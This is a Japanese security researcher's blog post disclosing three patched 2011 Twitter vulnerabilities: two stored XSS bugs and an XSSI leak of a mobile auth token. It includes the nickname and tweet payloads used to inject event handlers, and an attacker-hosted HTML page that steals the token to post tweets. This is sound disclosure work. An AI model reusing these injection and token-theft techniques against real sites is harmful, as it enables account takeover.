Twitterの脆弱性3連発

最近僕が発見し、修正されたTwitter脆弱性を3つ紹介します。

1.旧Twitterの文字列処理に絡んだXSS

去年の夏くらいに、Twitter Web上で € 〜 ÿ の文字参照が含まれるツイートをXMLHttpRequestで読み込んだ際に表示が乱れるという問題に気付き*1、その時はこれは脆弱性には繋がらないだろうという判断をしたのだけど、今年の4月になって改めて調べたところ貫通しました。

表示が乱れるというのは、€ 〜 ÿ の文字参照が含まれるツイートがあると、一部の文字が\XXXXの形式に化けたり、ツイート周辺の「"」が「\"」になったりするものだったのですが、今回は「"」が「\"」になる点が脆弱性を発生させていました。

この条件でXSSさせようと思ったら、ツイートを細工してURLや@や#などオートリンクが作成される部分にうまいことイベントハンドラをねじ込んでやろうって思うのが自然な発想だと思うんですが、リンクが作成される文字列に続けてスペースを入れると、当然そこでリンクが終了してしまい、タグ中にスペースを入れることができないんですよね。

言葉で説明してもまどろっこしいので、具体的にどういう試行で失敗するのかを書いて説明すると、


ÿ []http://example.com[] onmouseover=alert(1)//
とか書いても当然、

\377 <a href=\"[]http://example.com[]\">[]http://example.com[]</a> onmouseover=alert(1)//
みたいになるのでhref属性を区切ってonmouseoverを紛れ込ませることができないという訳です。

が、一箇所タグ内にスペースが挿入できる箇所があることに今年になって気が付きました!アイコン画像のalt属性にニックネームが埋め込まれており、ここにはスペースが入れられたのです。スペースが入れられれば、そこで引用符のない属性として属性を終了させることができ、後ろに任意の属性を記述することができます。

試行錯誤した結果、以下のようにしてスクリプトを発動させることができました。

ニックネーム:

[スペース]onerror='/*

ツイート:

&#xFF;*/alert(1)'style='color:red;font-size:100px'id=


すると、このように出力されます。(HTMLはアイコン画像とツイートのみに簡略化しています)

<img alt=\" onerror='/*\" class=\"photo fn\" src=\"[]https://si1.twimg.com/profile_images/123123/icon.gif[]\" height=\"48\" width=\"48\">
<span class=\"entry-content\">\337*/alert(1)'style='color:red;font-size:100px'id=</span>

ニックネームに使用できる文字数制限が20文字と厳しいので、ツイートが出力される箇所までコメントアウトしてツイートにスクリプトなどを記述しています。

2011年4月9日報告し、「複雑なバグで、修正には時間が掛かりそうだ」と回答を貰い、確かに数週間を要していましたが無事修正されました。

2.Web IntentsのXSS

Web Intents という最近リリースされた機能*2があります。

ここでもまたニックネームが出力される箇所があったんですが、珍しく「"」ではなく「'」で囲っていることに気が付きました。
なんかXSS臭がするので、ニックネームに「'」を入れて確認すると、見事にそのまま出力されました。

ただニックネームの文字数制限が20文字と、今回もここに直に攻撃コードを書くのは厳しそうです。
幸い(?)ここでも後半にツイートが出力される箇所があったので、これもまた最初に紹介したのと同じように、ニックネームとツイートの間を属性に押し込み、ツイートにスクリプトの本体を書くように考えました。
ただし、今回はニックネームからツイートの間にもう一箇所ニックネームが出力される箇所があり、かつ、途中で「'」で括られた属性が存在したので、多少記述を工夫する必要がありました。

以下のようにしました。

ニックネーム*3

*/`'[スペース]onclick=`/*

ツイート:

*/`onmouseover='alert(location)'style='color:red;font-size:100px'id='


これでInternet Explorer 9スクリプトを動作させることができました。
その時のHTMLを抜き出すと以下のようになります。

・・・
    <div class="tweet-content simple-tweet-content normal">
      
        <div class="tweet-row">
          
          <span class='tweet-user-name'>

            <a class='tweet-screen-name user-profile-link'
               href='/intent/user?screen_name=kinugawamasato0'
               title='*/`' onclick=`/*'>kinugawamasato0</a>
            <span class='tweet-full-name'>*/`' onclick=`/*</span>
          </span>
          <div class="tweet-corner">
            
            <div class='tweet-meta'>
              <div class='icons'>
                                  
                
                <div class="extra-icons">
                  
                  <span class="inlinemedia-icons"></span>

                  
                </div>
              </div>
            </div>
          </div>
        </div>
      
      <div class="tweet-row">
        
        <div class='tweet-text'>*/`onmouseover='alert(location)'style='color:red;font-size:100px'id='</div>
      </div>

      
      <div class="tweet-row">
        
        <a href="/kinugawamasato0/status/88242587323990016"
           class='tweet-timestamp' title="Jul  5, 2011">
                      
          
          <span class="_timestamp">
            2 minutes ago          </span>
        </a>
・・・

Internet Explorerでは「`」を属性の引用符に使うことができます。そのため「"」や「'」を「`」で囲った属性中に押し込むことができる訳です。ハイライトは「`」が引用符として解釈されていないので無視して、「`」を引用符として考えてみてください。
邪魔な部分をonclickに2回押し込んで、ツイートの部分までタグとして成立するようにしているのがわかるかと思います。

発動させるのはややこしいんですが、「"<>」などは保険的なXSS対策のためか、もともとニックネームに含むことができないようになっているので、修正はニックネームが属性内に出力される部分の引用符を「'」から「"」に変えるだけで簡単に済んだようです。
2011年7月5日の報告から1日以内に修正されました。

3.mobile.twitter.comのtokenの漏洩(XSSI)

mobile.twitter.comにアクセスすると読み込まれるJavaScriptファイル*4を見たところ、こんな風に記述されていました。

if (window.top !== window.self) {document.write = "";window.top.location = window.self.location; setTimeout(function(){document.body.innerHTML='';},1);window.self.onload=function(evt){document.body.innerHTML='';};}
    var M2 = {
      auth_token: "180b4b5bd4a7d2db148d"
    }

見てお分かりのようにtokenが普通に入っています(!)
確認してみると、本当にTwitter上の操作を制御しているtokenのようでした。

これにより、以下のようにしてtokenを受け取ってTwitter外のサイトからツイートを投稿させるなどのことができてしまっていました。*5

<!-- http://attacker.example.com/ -->
<html>
<form action="https://mobile.twitter.com" method="post">
<input type="hidden" name="authenticity_token" value="" id="t">
<textarea name="tweet[text]">こんにちはこんにちは!!</textarea>
<input type="submit">
</form>

<script src="https://mobile.twitter.com/js/initial.javascript"></script>
<script>document.getElementById('t').value=M2.auth_token;</script>
</html>

なんでこんなことになってしまったのかというと、
恐らくこれ、2011年の3月にmobile.twitter.comはFirefox 4以降のユーザ−エージェントでアクセスするとContent Security Policyに対応したページが返されるようになった*6んですけど、Content Security Policyでは(オプションを追加しない限りは)インラインのJavaScriptが実行されなくなるので、今までインラインのJavaScriptにtokenを書いていた部分を、JavaScriptファイルの中に入れてCSPを回避してしまえ、って雑に変更をしてしまって起きた問題なんじゃないかと思います。セキュアにしようとして、かえって脆弱性が生まれてしまった面白い失敗例ですね。

2011年7月6日の報告から、これも1日以内に修正されました。
(ただ、この記事を書いた段階では、脆弱性は修正されましたが、上記のtokenが記述されたJavaScriptをインラインに移しただけのようなので、Firefox 4以降のブラウザでアクセスした場合は、当然CSPで弾かれて一部の機能がうまく動きません。たぶん気付いてると思います。)


以上でした!
Twitter、最近短期間でちゃんと対応してくれるので良いですね。

*1:スペルがバグじゃなくてバッグになってるけどミス!Twitterバッグ欲しい!

*2:https://dev.twitter.com/pages/intents

*3:onclickである必要はないです。括ってしまうためのダミーの属性です。

*4:https://mobile.twitter.com/js/initial.javascript

*5:なお、mobile.twitter.comとtwitter.comでは異なるtokenを使用していたので、twitter.comでログインしていたユーザーはこの脆弱性の影響を受けませんでした。

*6:About